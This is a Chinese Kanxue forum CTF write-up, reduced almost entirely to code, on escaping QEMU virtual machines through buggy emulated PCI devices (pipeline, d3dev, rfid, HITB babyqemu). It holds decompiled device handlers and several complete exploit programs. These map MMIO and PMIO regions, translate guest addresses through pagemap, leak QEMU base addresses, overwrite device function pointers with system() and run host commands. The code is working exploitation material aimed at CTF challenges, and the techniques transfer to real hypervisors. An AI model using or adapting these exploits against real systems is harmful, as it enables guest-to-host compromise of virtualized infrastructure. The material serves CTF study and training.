本文为看雪论坛精华文章
看雪论坛作者ID:e*16 a
#!/bin/bash
./qemu-system-x86_64 \
-m 1G \
-initrd ./rootfs.cpio \
-nographic \
-kernel ./vmlinuz-5.0.5-generic \
-L pc-bios/ \
-append "priority=low console=ttyS0" \
-monitor /dev/null \
-device pipeline
#include <stdio.h>
#include <string.h>
#include <stdint.h>
#include <stdlib.h>
#include <fcntl.h>
#include <assert.h>
#include <inttypes.h>
#define PAGE_SHIFT 12
#define PAGE_SIZE (1 << PAGE_SHIFT)
#define PFN_PRESENT (1ull << 63)
#define PFN_PFN ((1ull << 55) - 1)
int fd;
// 获取页内偏移
uint32_t page_offset(uint32_t addr)
{
// addr & 0xfff
return addr & ((1 << PAGE_SHIFT) - 1);
}
uint64_t gva_to_gfn(void *addr)
{
uint64_t pme, gfn;
size_t offset;
printf("pfn_item_offset : %p\n", (uintptr_t)addr >> 9);
offset = ((uintptr_t)addr >> 9) & ~7;
////下面是网上其他人的代码,只是为了理解上面的代码
//一开始除以 0x1000 (getpagesize=0x1000,4k对齐,而且本来低12位就是页内索引,需要去掉),即除以2**12, 这就获取了页号了,
//pagemap中一个地址64位,即8字节,也即sizeof(uint64_t),所以有了页号后,我们需要乘以8去找到对应的偏移从而获得对应的物理地址
//最终 vir/2^12 * 8 = (vir / 2^9) & ~7
//这跟上面的右移9正好对应,但是为什么要 & ~7 ,因为你 vir >> 12 << 3 , 跟vir >> 9 是有区别的,vir >> 12 << 3低3位肯定是0,所以通过& ~7将低3位置0
// int page_size=getpagesize();
// unsigned long vir_page_idx = vir/page_size;
// unsigned long pfn_item_offset = vir_page_idx*sizeof(uint64_t);
lseek(fd, offset, SEEK_SET);
read(fd, &pme, 8);
// 确保页面存在——page is present.
if (!(pme & PFN_PRESENT))
return -1;
// physical frame number
gfn = pme & PFN_PFN;
return gfn;
}
uint64_t gva_to_gpa(void *addr)
{
uint64_t gfn = gva_to_gfn(addr);
assert(gfn != -1);
return (gfn << PAGE_SHIFT) | page_offset((uint64_t)addr);
}
int main()
{
uint8_t *ptr;
uint64_t ptr_mem;
fd = open("/proc/self/pagemap", O_RDONLY);
if (fd < 0) {
perror("open");
exit(1);
}
ptr = malloc(256);
strcpy(ptr, "Where am I?");
printf("%s\n", ptr);
ptr_mem = gva_to_gpa(ptr);
printf("Your physical address is at 0x%"PRIx64"\n", ptr_mem);
getchar();
return 0;
}
int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
void * mmio = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
void * mmio = mmap(0,0x1000,PROT_READ|PROT_WRITE,MAP_SHARED,open("/dev/mem",2),0xfea00000);
物理内存可由# cat /sys/devices/pci0000\:00/0000\:00\:04.0/resource得到
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <errno.h>
#include <signal.h>
#include <fcntl.h>
#include <ctype.h>
#include <termios.h>
#include <assert.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <sys/io.h>
char* mmio_mem;
void mmio_write(uint64_t addr, char value) {
*(char*)(mmio_mem + addr) = value;
}
uint64_t mmio_read(uint64_t addr) {
return *((char *)(mmio_mem + addr));
}
int main()
{
//init
int fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0",O_RDWR | O_SYNC);
if (fd == -1)
{
perror("mmio_fd open failed");
exit(-1);
}
mmio_mem = mmap(0,0x1000,PROT_READ | PROT_WRITE, MAP_SHARED,fd,0);
if (mmio_mem == MAP_FAILED)
{
perror("mmap mmio_mem failed");
exit(-1);
}
}
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <errno.h>
#include <signal.h>
#include <fcntl.h>
#include <ctype.h>
#include <termios.h>
#include <assert.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <sys/io.h>
char* mmio_mem;
void mmio_write(uint64_t addr, char value) {
*(char*)(mmio_mem + addr) = value;
}
uint64_t mmio_read(uint64_t addr) {
return *((char *)(mmio_mem + addr));
}
int main()
{
//init
mmio_mem = mmap(0,0x1000,PROT_READ | PROT_WRITE, MAP_SHARED,open("/dev/mem",2),0xfea00000); //0xfea00000是通过cat /sys/devices/pci0000\:00/0000\:00\:04.0/resource来获得
//0x00000000fea00000 0x00000000feafffff 0x0000000000040200
if (mmio_mem == MAP_FAILED)
{
perror("mmap mmio_mem failed");
exit(-1);
}
}
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <errno.h>
#include <signal.h>
#include <fcntl.h>
#include <ctype.h>
#include <termios.h>
#include <assert.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <sys/io.h>
char* mmio_mem;
int pmio_base = 0xc040;
void pmio_write(uint32_t addr, uint32_t value)
{
outl(value, pmio_base + addr);
}
uint64_t pmio_read(uint32_t addr)
{
return inl(pmio_base + addr);
}
int main(int argc, char *argv[])
{
// Open and map I/O memory for the strng device
if (iopl(3) !=0 ){
perror("I/O permission is not enough");
exit(-1);
}
}
#!/bin/zsh
mkdir ./rootfs
cd ./rootfs
cpio -idmv < ../rootfs.cpio
cp ../exp.c ./root
gcc -o ./root/exp -static ./root/exp.c
find . | cpio -o --format=newc > ../rootfs.cpio
cd ..
rm -rf ./rootfs
#!/bin/bash
./qemu-system-x86_64 \
-m 1G \
-initrd ./rootfs.cpio \
-nographic \
-kernel ./vmlinuz-5.0.5-generic \
-L pc-bios/ \
-append "priority=low console=ttyS0" \
-monitor /dev/null \
-device pipeline
void __cdecl pipeline_pmio_write(PipeLineState *opaque, hwaddr addr, uint64_t val, unsigned int size)
{
unsigned int sizea; // [rsp+4h] [rbp-4Ch]
unsigned int sizeb; // [rsp+4h] [rbp-4Ch]
int pIdx; // [rsp+28h] [rbp-28h]
int pIdxa; // [rsp+28h] [rbp-28h]
int pIdxb; // [rsp+28h] [rbp-28h]
int useSize; // [rsp+2Ch] [rbp-24h]
int ret_s; // [rsp+34h] [rbp-1Ch]
int ret_sa; // [rsp+34h] [rbp-1Ch]
char *iData; // [rsp+40h] [rbp-10h]
if ( size == 4 )
{
if ( addr == 4 ) // addr = 4
{
pIdx = opaque->pIdx;
if ( pIdx <= 7 )
{
if ( pIdx > 3 )
{
if ( val <= 0x40 )
*&opaque->encPipe[1].data[0x44 * pIdx + 12] = val;
}
else if ( val <= 0x5C )
{
opaque->encPipe[pIdx].size = val;
}
}
}
else if ( addr > 4 )
{
if ( addr == 12 ) // addr = 12
{
pIdxa = opaque->pIdx;
if ( pIdxa <= 7 )
{
if ( pIdxa <= 3 )
pIdxa += 4; //放入解密结构体内
sizea = *&opaque->encPipe[1].data[0x44 * pIdxa + 12]; //
if ( sizea <= 0x40 && (4 * ((sizea + 2) / 3) + 1) <= 0x5C ) //对size进行判断,不存在溢出
{
ret_s = opaque->encode( // encode
&opaque->encPipe[1].data[0x44 * pIdxa + 16],// 加密
&opaque->mmio.size + 0x60 * pIdxa + 8,
sizea);
if ( ret_s != -1 )
*(&opaque->mmio.size + 24 * pIdxa + 1) = ret_s;
}
}
}
else if ( addr == 16 )
{
pIdxb = opaque->pIdx;
if ( pIdxb <= 7 )
{
if ( pIdxb > 3 )
pIdxb -= 4;
sizeb = opaque->encPipe[pIdxb].size;
iData = opaque->encPipe[pIdxb].data;
if ( sizeb <= 0x5C )
{
if ( sizeb )
iData[sizeb] = 0;
useSize = opaque->strlen(iData);
if ( 3 * (useSize / 4) + 1 <= 64 ) // 84,85,86,87
{ //可以看到decode的size参数是与strlen(iData)有关,即使上面的if判断限制了useSize,也可以使useSize是84-87四个数字。
ret_sa = opaque->decode(iData, opaque->decPipe[pIdxb].data, useSize);// 解密
if ( ret_sa != -1 )
opaque->decPipe[pIdxb].size = ret_sa;
}
}
}
}
}
else if ( !addr )
{
opaque->pIdx = val;
}
}
}
>>> from pwn import *
>>> b64e(b'\xff\xff\xff')
'////'
#include <stdint.h>
#include <string.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/io.h>
void * mmio;
int port_base = 0xc040;
void pmio_write(int port, int val){ outl(val, port_base + port); }
void mmio_write(uint64_t addr, char value){ *(char *)(mmio + addr) = value;}
int pmio_read(int port) { return inl(port_base + port); }
char mmio_read(uint64_t addr){ return *(char *)(mmio + addr); }
void write_io(int idx,int size,int offset, char * data){
pmio_write(0,idx); pmio_write(4,size);
for(int i=0;i<strlen(data);i++) { mmio_write(i+offset,data[i]); }
}
int main(){
// init mmio and pmio
iopl(3);
int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
mmio = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
// write '/'*87 to block 2
char data[100];
memset(data,0,100);
memset(data,'/',87);
write_io(2,0x5c,0,data);
// decode时将在encPipe[2]的数据解密后放到decPipe[2],若能溢出,则decPipe[3]的size位为0xff
pmio_write(16,0);
return 0;
}
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <errno.h>
#include <signal.h>
#include <fcntl.h>
#include <ctype.h>
#include <termios.h>
#include <assert.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <sys/io.h>
char* mmio_mem;
int pmio_base = 0xc040;
void mmio_write(uint64_t addr, char value) {
*(char*)(mmio_mem + addr) = value;
}
uint64_t mmio_read(uint64_t addr) {
return *((char *)(mmio_mem + addr));
}
void pmio_write(uint32_t addr, uint32_t value)
{
outl(value, pmio_base + addr);
}
uint64_t pmio_read(uint32_t addr)
{
return inl(pmio_base + addr);
}
uint64_t write_io(int idx,int size,int addr,char* data){
pmio_write(0,idx); //get idx rsi,rdx
pmio_write(4,size); // set size rsi,rdx
for(int i=0;i<strlen(data);i++)
{
mmio_write(addr+i,data[i]);
}
}
uint64_t read_io(int idx,int size,int addr,char* data){
pmio_write(0,idx);
for(int i=0;i<size;i++)
{
data[i] = mmio_read(addr+i);
}
}
int main()
{
//init
int fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0",O_RDWR | O_SYNC);
mmio_mem = mmap(0,0x1000,PROT_READ | PROT_WRITE, MAP_SHARED,fd,0);
iopl(3);
//char dedata[] = "ZWVlZQ==";//"eHVhbnh1YW4=";
//char data[100] = {0};
//write_io(2,0x5c,0,dedata); //idx,size,addr,data
//pmio_write(16,0); //
//read_io(6,4,0,data);
//printf("[+] %s\n",data);
char data[100] = {0};
memset(data,0,100);
memset(data,'/',87);
write_io(2,0x5c,0,data); /////////////////////
pmio_write(16,0); //decode //////////////////
char leak[16];
read_io(7,8,0x44,leak); /////////////
printf("[+] leak:0x%s\n",leak);
//printf("[+] leak:0x%llx\n", leak);
long long base = *((long long *)leak) - 0x3404F3; //- 0x3401BB;
long long system = base + 0x2C0AD0;
printf("[+] base:0x%llx\n",base);
printf("[+] system:0x%llx\n",system);
write_io(7,0x5c,0x44,&system); //////////////
char command[] = "cat flag";
write_io(4,0x3f,0,command);
pmio_write(12,0);
return 0;
}
void __fastcall d3dev_pmio_write(d3devState *opaque, hwaddr addr, uint64_t val, unsigned int size)
{
uint32_t *key; // rbp
if ( addr == 8 )
{
if ( val <= 0x100 )
opaque->seek = val;
}
else if ( addr > 8 )
{
if ( addr == 0x1C )
{
opaque->r_seed = val;
key = opaque->key;
do
*key++ = (opaque->rand_r)(&opaque->r_seed, 0x1CLL, val, *&size);
while ( key != &opaque->rand_r );
}
}
else if ( addr )
{
if ( addr == 4 )
{
*opaque->key = 0LL;
*&opaque->key[2] = 0LL;
}
}
else
{
opaque->memory_mode = val;
}
}
#include <stdint.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/io.h>
#include <stdio.h>
#include <unistd.h>
unsigned char* mmio_mem;
void setup_mmio() {
int mmio_fd = open("/sys/devices/pci0000:00/0000:00:03.0/resource0", O_RDWR | O_SYNC);
mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
}
void mmio_write(uint32_t addr,uint32_t val){
*((uint32_t*)(addr+mmio_mem)) = val;
}
uint64_t mmio_read(uint64_t addr){
return *((uint64_t*)(addr+mmio_mem));
}
uint32_t pmio_base = 0xc040;
void setup_pmio() {
iopl(3); // 0x3ff 以上端口全部开启访问
}
uint64_t pmio_read(uint64_t addr){
return (uint64_t)inl(pmio_base + addr);
}
uint64_t pmio_write(uint64_t addr,uint64_t val){
outl(val,addr+pmio_base);
}
//因为key=0,所以直接省略掉key进行写加密解密函数。注意exp内的en实际对应的是de
uint64_t en(uint32_t high,uint32_t low){
uint32_t sum = 0xC6EF3720;
uint32_t delta = 0x9E3779b9;
for(int i=0;i<32;i++){
high -= (low*16) ^ (low+sum) ^ (low>>5);
low -= (high*16) ^ (high+sum) ^ (high>>5);
//sum -= delta;
sum += 0x61C88647;
}
return (uint64_t)high * 0x100000000 + low;
}
uint64_t de(uint32_t high,uint32_t low){
uint32_t sum=0;
uint32_t delta = 0x9E3779b9;
for(int i=0;i<32;i++){
//sum += delta;
sum -= 0x61C88647;
low += (high*16) ^ (high+sum) ^ (high>>5);
high += (low*16) ^ (low+sum) ^ (low>>5);
}
return (uint64_t)high * 0x100000000 + low;
}
int main()
{
printf("begin!!!!!\n");
setup_mmio();
setup_pmio();
pmio_write(8,0x100); //opaque->seek=0x100
pmio_write(4,0); //key[0-3]=0
//0x103
uint64_t rand_r = mmio_read(24); //decode
printf("region rand_r:0x%lx\n",rand_r);
uint64_t randr = de(rand_r/0x100000000,rand_r%0x100000000);
printf("encode randr:0x%lx\n",randr);
uint64_t system = randr + 0xa560;
printf("system:0x%lx\n", system);
uint64_t encode_system = en(system / 0x100000000, system % 0x100000000);
printf("encode system:0x%lx\n", encode_system);
uint32_t low_sys = encode_system%0x100000000;
uint32_t high_sys = encode_system/0x100000000;
mmio_write(24,low_sys); //只能4字节4字节的写入
sleep(1);
mmio_write(24,high_sys);
pmio_write(8,0);
mmio_write(0,0x67616c66); //blocks: flag
pmio_write(0x1c,0x20746163); //r_seed: cat
return 0;
}
#! /bin/zsh
./qemu-system-x86_64 \
-initrd ./initramfs.cpio \
-kernel ./vmlinuz-4.8.0-52-generic \
-append 'console=ttyS0 root=/dev/ram oops=panic panic=1' \
-monitor /dev/null \
-m 64M --nographic \
-L pc-bios \
-device rfid,id=vda \
_BYTE *__fastcall sub_570CEB(__int64 opaque, unsigned __int64 addr, __int64 val, unsigned int size)
{
_BYTE *result; // rax
_DWORD n[3]; // [rsp+4h] [rbp-3Ch] BYREF
unsigned __int64 v6; // [rsp+10h] [rbp-30h]
__int64 v7; // [rsp+18h] [rbp-28h]
int v8; // [rsp+2Ch] [rbp-14h]
int idx; // [rsp+30h] [rbp-10h]
int v10; // [rsp+34h] [rbp-Ch]
__int64 v11; // [rsp+38h] [rbp-8h]
v7 = opaque;
v6 = addr;
*&n[1] = val;
v11 = opaque;
v8 = (addr >> 20) & 0xF;
idx = (addr >> 16) & 0xF;
result = ((addr >> 20) & 0xF);
switch ( result )
{
case 0uLL:
result = byte_122FFE0;
byte_122FFE0[idx] = 'w';
break;
case 1uLL:
result = byte_122FFE0;
byte_122FFE0[idx] = 's';
break;
case 2uLL:
result = byte_122FFE0;
byte_122FFE0[idx] = 'a';
break;
case 3uLL:
result = byte_122FFE0;
byte_122FFE0[idx] = 'd';
break;
case 4uLL:
result = byte_122FFE0;
byte_122FFE0[idx] = 'A';
break;
case 5uLL:
result = byte_122FFE0;
byte_122FFE0[idx] = 'B';
break;
case 6uLL:
v10 = v6;
result = memcpy(&command[v6], &n[1], size);
break;
default:
return result;
}
return result;
}
#include <sys/io.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/mman.h>
#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <sys/types.h>
unsigned char* mmiobase;
//wwssadadBABA
void mmio_write(uint64_t addr,uint64_t val){
*(uint64_t *)(mmiobase + addr) = val;
}
int main(){
mmiobase = mmap(0,0x1000000,PROT_READ | PROT_WRITE, MAP_SHARED, open("/dev/mem",2),0xfb000000);
//str idx
mmio_write(0x000000,0); //w , 0
mmio_write(0x010000,0); //w , 1
mmio_write(0x120000,0); //s , 2
mmio_write(0x130000,0); //s , 3
mmio_write(0x240000,0); //a , 4
mmio_write(0x350000,0); //d , 5
mmio_write(0x260000,0); //a , 6
mmio_write(0x370000,0); //d , 7
mmio_write(0x580000,0); //B , 8
mmio_write(0x490000,0); //A , 9
mmio_write(0x5a0000,0); //B , a
mmio_write(0x4b0000,0); //A , b
char cmd[0x20] = "cat flag";
mmio_write(0x600000,*(uint64_t *)(&cmd[0]));
return *(int *)mmiobase;
}
uint64_t __fastcall hitb_mmio_read(HitbState *opaque, hwaddr addr, unsigned int size)
{
uint64_t result; // rax
uint64_t val; // [rsp+0h] [rbp-20h]
result = -1LL;
if ( size == 4 )
{
if ( addr == 128 )
return opaque->dma.src;
if ( addr > 128 )
{
if ( addr == 140 )
return *(&opaque->dma.dst + 4);
if ( addr <= 140 )
{
if ( addr == 132 )
return *(&opaque->dma.src + 4);
if ( addr == 136 )
return opaque->dma.dst;
}
else
{
if ( addr == 144 )
return opaque->dma.cnt;
if ( addr == 152 )
return opaque->dma.cmd;
}
}
else
{
if ( addr == 8 )
{
qemu_mutex_lock(&opaque->thr_mutex);
val = opaque->fact;
qemu_mutex_unlock(&opaque->thr_mutex);
return val;
}
if ( addr <= 8 )
{
result = 0x10000EDLL;
if ( !addr )
return result;
if ( addr == 4 )
return opaque->addr4;
}
else
{
if ( addr == 0x20 )
return opaque->status;
if ( addr == 0x24 )
return opaque->irq_status;
}
}
return -1LL;
}
return result;
}
void __fastcall hitb_mmio_write(HitbState *opaque, hwaddr addr, uint64_t val, unsigned int size)
{
uint32_t v4; // r13d
int v5; // edx
bool v6; // zf
int64_t ns; // rax
if ( (addr > 0x7F || size == 4) && (((size - 4) & 0xFFFFFFFB) == 0 || addr <= 0x7F) )
{
if ( addr == 128 )
{
if ( (opaque->dma.cmd & 1) == 0 )
opaque->dma.src = val;
}
else
{
v4 = val;
if ( addr > 128 )
{
if ( addr == 140 )
{
if ( (opaque->dma.cmd & 1) == 0 )
*(&opaque->dma.dst + 4) = val;
}
else if ( addr > 140 )
{
if ( addr == 144 )
{
if ( (opaque->dma.cmd & 1) == 0 )
opaque->dma.cnt = val;
}
else if ( addr == 152 && (val & 1) != 0 && (opaque->dma.cmd & 1) == 0 )
{
opaque->dma.cmd = val;
ns = qemu_clock_get_ns(QEMU_CLOCK_VIRTUAL_0);
timer_mod(&opaque->dma_timer, ns / 1000000 + 100);
}
}
else if ( addr == 132 )
{
if ( (opaque->dma.cmd & 1) == 0 )
*(&opaque->dma.src + 4) = val;
}
else if ( addr == 136 && (opaque->dma.cmd & 1) == 0 )
{
opaque->dma.dst = val;
}
}
else if ( addr == 32 )
{
if ( (val & 0x80) != 0 )
_InterlockedOr(&opaque->status, 0x80u);
else
_InterlockedAnd(&opaque->status, 0xFFFFFF7F);
}
else if ( addr > 0x20 )
{
if ( addr == 96 )
{
v6 = (val | opaque->irq_status) == 0;
opaque->irq_status |= val;
if ( !v6 )
hitb_raise_irq(opaque, 0x60u);
}
else if ( addr == 100 )
{
v5 = ~val;
v6 = (v5 & opaque->irq_status) == 0;
opaque->irq_status &= v5;
if ( v6 && !msi_enabled(&opaque->pdev) )
pci_set_irq(&opaque->pdev, 0);
}
}
else if ( addr == 4 )
{
opaque->addr4 = ~val;
}
else if ( addr == 8 && (opaque->status & 1) == 0 )
{
qemu_mutex_lock(&opaque->thr_mutex);
opaque->fact = v4;
_InterlockedOr(&opaque->status, 1u);
qemu_cond_signal(&opaque->thr_cond);
qemu_mutex_unlock(&opaque->thr_mutex);
}
}
}
}
当dma.cmd为2|1时,会将dma.src减0x40000作为索引i,然后将数据从dma_buf[i]拷贝利用函数cpu_physical_memory_rw拷贝至物理地址dma.dst中,拷贝长度为dma.cnt。
当dma.cmd为4|2|1时,会将dma.dst减0x40000作为索引i,然后将起始地址为dma_buf[i],长度为dma.cnt的数据利用利用opaque->enc函数加密后,再调用函数cpu_physical_memory_rw拷贝至物理地址opaque->dma.dst中。
当dma.cmd为0|1时,调用cpu_physical_memory_rw将物理地址中为dma.dst,长度为dma.cnt,拷贝到dma.dst减0x40000作为索引i,目标地址为dma_buf[i]的空间中。
void __fastcall hitb_mmio_write(HitbState *opaque, hwaddr addr, uint64_t val, unsigned int size)
{
uint32_t v4; // r13d
int v5; // edx
bool v6; // zf
int64_t ns; // rax
if ( (addr > 0x7F || size == 4) && (((size - 4) & 0xFFFFFFFB) == 0 || addr <= 0x7F) )
{
if ( addr == 128 )
{
if ( (opaque->dma.cmd & 1) == 0 )
opaque->dma.src = val;
}
else
{
v4 = val;
if ( addr > 128 )
{
if ( addr == 140 )
{
if ( (opaque->dma.cmd & 1) == 0 )
*(&opaque->dma.dst + 4) = val;
}
else if ( addr > 140 )
{
if ( addr == 144 )
{
if ( (opaque->dma.cmd & 1) == 0 )
opaque->dma.cnt = val;
}
else if ( addr == 152 && (val & 1) != 0 && (opaque->dma.cmd & 1) == 0 )
{
opaque->dma.cmd = val;
ns = qemu_clock_get_ns(QEMU_CLOCK_VIRTUAL_0);
timer_mod(&opaque->dma_timer, ns / 1000000 + 100);
}
}
else if ( addr == 132 )
{
if ( (opaque->dma.cmd & 1) == 0 )
*(&opaque->dma.src + 4) = val;
}
else if ( addr == 136 && (opaque->dma.cmd & 1) == 0 )
{
opaque->dma.dst = val;
}
}
else if ( addr == 32 )
{
if ( (val & 0x80) != 0 )
_InterlockedOr(&opaque->status, 0x80u);
else
_InterlockedAnd(&opaque->status, 0xFFFFFF7F);
}
else if ( addr > 0x20 )
{
if ( addr == 96 )
{
v6 = (val | opaque->irq_status) == 0;
opaque->irq_status |= val;
if ( !v6 )
hitb_raise_irq(opaque, 0x60u);
}
else if ( addr == 100 )
{
v5 = ~val;
v6 = (v5 & opaque->irq_status) == 0;
opaque->irq_status &= v5;
if ( v6 && !msi_enabled(&opaque->pdev) )
pci_set_irq(&opaque->pdev, 0);
}
}
else if ( addr == 4 )
{
opaque->addr4 = ~val;
}
else if ( addr == 8 && (opaque->status & 1) == 0 )
{
qemu_mutex_lock(&opaque->thr_mutex);
opaque->fact = v4;
_InterlockedOr(&opaque->status, 1u);
qemu_cond_signal(&opaque->thr_cond);
qemu_mutex_unlock(&opaque->thr_mutex);
}
}
}
}
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <errno.h>
#include <signal.h>
#include <fcntl.h>
#include <ctype.h>
#include <termios.h>
#include <assert.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <sys/io.h>
#define MAP_SIZE 4096UL
#define MAP_MASK (MAP_SIZE - 1)
#define DMA_BASE 0x40000
#define PAGE_SHIFT 12
#define PAGE_SIZE (1 << PAGE_SHIFT)
#define PFN_PRESENT (1ull << 63)
#define PFN_PFN ((1ull << 55) - 1)
char* pci_device_name = "/sys/devices/pci0000:00/0000:00:04.0/resource0";
unsigned char* tmpbuf;
uint64_t tmpbuf_phys_addr;
unsigned char* mmio_base;
unsigned char* getMMIOBase(){
int fd;
if((fd = open(pci_device_name, O_RDWR | O_SYNC)) == -1) {
perror("open pci device");
exit(-1);
}
mmio_base = mmap(0, MAP_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
if(mmio_base == (void *) -1) {
perror("mmap");
exit(-1);
}
return mmio_base;
}
// 获取页内偏移
uint32_t page_offset(uint32_t addr)
{
// addr & 0xfff
return addr & ((1 << PAGE_SHIFT) - 1);
}
uint64_t gva_to_gfn(void *addr)
{
uint64_t pme, gfn;
size_t offset;
int fd;
fd = open("/proc/self/pagemap", O_RDONLY);
if (fd < 0) {
perror("open");
exit(1);
}
// printf("pfn_item_offset : %p\n", (uintptr_t)addr >> 9);
offset = ((uintptr_t)addr >> 9) & ~7;
////下面是网上其他人的代码,只是为了理解上面的代码
//一开始除以 0x1000 (getpagesize=0x1000,4k对齐,而且本来低12位就是页内索引,需要去掉),即除以2**12, 这就获取了页号了,
//pagemap中一个地址64位,即8字节,也即sizeof(uint64_t),所以有了页号后,我们需要乘以8去找到对应的偏移从而获得对应的物理地址
//最终 vir/2^12 * 8 = (vir / 2^9) & ~7
//这跟上面的右移9正好对应,但是为什么要 & ~7 ,因为你 vir >> 12 << 3 , 跟vir >> 9 是有区别的,vir >> 12 << 3低3位肯定是0,所以通过& ~7将低3位置0
// int page_size=getpagesize();
// unsigned long vir_page_idx = vir/page_size;
// unsigned long pfn_item_offset = vir_page_idx*sizeof(uint64_t);
lseek(fd, offset, SEEK_SET);
read(fd, &pme, 8);
// 确保页面存在——page is present.
if (!(pme & PFN_PRESENT))
return -1;
// physical frame number
gfn = pme & PFN_PFN;
return gfn;
}
uint64_t gva_to_gpa(void *addr)
{
uint64_t gfn = gva_to_gfn(addr);
assert(gfn != -1);
return (gfn << PAGE_SHIFT) | page_offset((uint64_t)addr);
}
void mmio_write(uint64_t addr, uint64_t value)
{
*((uint64_t*)(mmio_base + addr)) = value;
}
uint64_t mmio_read(uint64_t addr)
{
return *((uint64_t*)(mmio_base + addr));
}
void set_cnt(uint64_t val)
{
mmio_write(144, val);
}
void set_src(uint64_t val)
{
mmio_write(128, val);
}
void set_dst(uint64_t val)
{
mmio_write(136, val);
}
void start_dma_timer(uint64_t val){
mmio_write(152, val);
}
void dma_read(uint64_t offset, uint64_t cnt){
// 设置dma_buf的索引
set_src(DMA_BASE + offset);
// 设置读取后要写入的物理地址
set_dst(tmpbuf_phys_addr);
// 设置读取的大小
set_cnt(cnt);
// 触发hitb_dma_timer
start_dma_timer(1|2);
// 等待上面的执行完
sleep(1);
}
void dma_write(uint64_t offset, char* buf, uint64_t cnt)
{
// 将我们要写的内容先复制到tmpbuf
memcpy(tmpbuf, buf, cnt);
//设置物理地址(要从这读取写到dma_buf[opaque->dma.dst-0x40000])
set_src(tmpbuf_phys_addr);
// 设置dma_buf的索引
set_dst(DMA_BASE + offset);
// 设置写入大小
set_cnt(cnt);
// 触发hitb_dma_timer
start_dma_timer(1);
// 等待上面的执行完
sleep(1);
}
void dma_write_qword(uint64_t offset, uint64_t val)
{
dma_write(offset, (char *)&val, 8);
}
void dma_enc_read(uint64_t offset, uint64_t cnt)
{
// 设置dma_buf的索引
set_src(DMA_BASE + offset);
// 设置读取后要写入的物理地址
set_dst(tmpbuf_phys_addr);
// 设置读取的大小
set_cnt(cnt);
// 触发hitb_dma_timer
start_dma_timer(1|2|4);
// 等待上面的执行完
sleep(1);
}
int main(int argc, char const *argv[])
{
getMMIOBase();
printf("mmio_base Resource0Base: %p\n", mmio_base);
tmpbuf = malloc(0x1000);
tmpbuf_phys_addr = gva_to_gpa(tmpbuf);
printf("gva_to_gpa tmpbuf_phys_addr %p\n", (void*)tmpbuf_phys_addr);
printf("tmpbuf: %p\n", tmpbuf);
printf("&tmpbuf: %p\n", &tmpbuf);
// 将enc函数指针写到tmpbuf_phys_addr,之后通过tmpbuf读出即可
dma_read(4096, 8);
uint64_t hitb_enc_addr = *((uint64_t*)tmpbuf);
uint64_t binary_base_addr = hitb_enc_addr - 0x283DD0;
uint64_t system_addr = binary_base_addr + 0x1FDB18;
printf("hitb_enc_addr: 0x%lx\n", hitb_enc_addr);
printf("binary_base_addr: 0x%lx\n", binary_base_addr);
printf("system_addr: 0x%lx\n", system_addr);
// 覆盖enc函数指针为system地址
dma_write_qword(4096, system_addr);
char* command = "cat flag";
dma_write(0x200, command, strlen(command));
// 触发hitb_dma_timer中的enc函数,从而调用syetem
dma_enc_read(0x200, 666);
return 0;
}
https://xuanxuanblingbling.github.io/ctf/pwn/2022/06/09/qemu/
https://www.anquanke.com/post/id/254906#h3-5
https://www.giantbranch.cn/2019/07/17/VM%20escape%20%E4%B9%8B%20QEMU%20Case%20Study/
https://www.giantbranch.cn/2020/01/02/CTF%20QEMU%20%E8%99%9A%E6%8B%9F%E6%9C%BA%E9%80%83%E9%80%B8%E4%B9%8BHITB-GSEC-2017-babyqemu/
看雪ID:e*16 a
https://bbs.pediy.com/user-home-922338.htm
看雪2022KCTF秋季赛官网:https://ctf.pediy.com/game-team_list-18-29.htm
# 往期推荐
球分享
球点赞
球在看
点击“阅读原文”,了解更多!